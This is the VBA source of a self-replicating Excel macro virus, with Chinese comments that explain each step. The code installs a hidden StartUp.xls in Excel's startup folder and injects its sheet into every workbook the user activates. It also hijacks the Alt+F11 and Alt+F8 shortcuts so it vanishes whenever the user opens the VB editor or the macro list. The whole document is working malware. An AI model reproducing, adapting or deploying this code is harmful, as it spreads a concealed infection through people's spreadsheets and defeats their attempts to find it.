Sub auto_open()
On Error Resume Next
'如果打开的不是StartUp.xls
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False '不刷新屏幕
ThisWorkbook.Sheets("StartUp").Copy '复制StartUp的工作表到当前的工作簿中
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls") '保存
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False '隐藏
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop" '工作表激活时调用StartUp模块的cop过程
Application.OnKey "%{F11}", "StartUp.xls!escape" '处理alt+F11和alt+F8快捷键,F11打开VB编辑器,F8打开宏窗口时，调用StartUp模块的escape过程
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On Error Resume Next
'如果当前激活的工作表不是StartUp，则复制StartUp，并把选择原先用户的要激活的工作表
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub
Sub escape()
'这个过程主要是在用户打开宏窗口或是VB编辑器时看不到StartUp
On Error Resume Next
Application.OnSheetActivate = "StartUp.xls!back" '当有工作表被激活时，startup又要回来了。
Application.OnKey "%{F11}"
Application.OnKey "%{F8}"
Application.SendKeys "%{F11}"
Application.SendKeys "%{F8}"
For Each book In Workbooks
Application.DisplayAlerts = False '在删除时，不要显示提示对话框
If book.Name = "StartUp.xls" Then book.Sheets("StartUp").Delete '删除StartUp
Next
For Each book In Workbooks
If book.Name = "StartUp.xls" Then
book.Close '关闭StartUp工作簿
End If
Next
End Sub
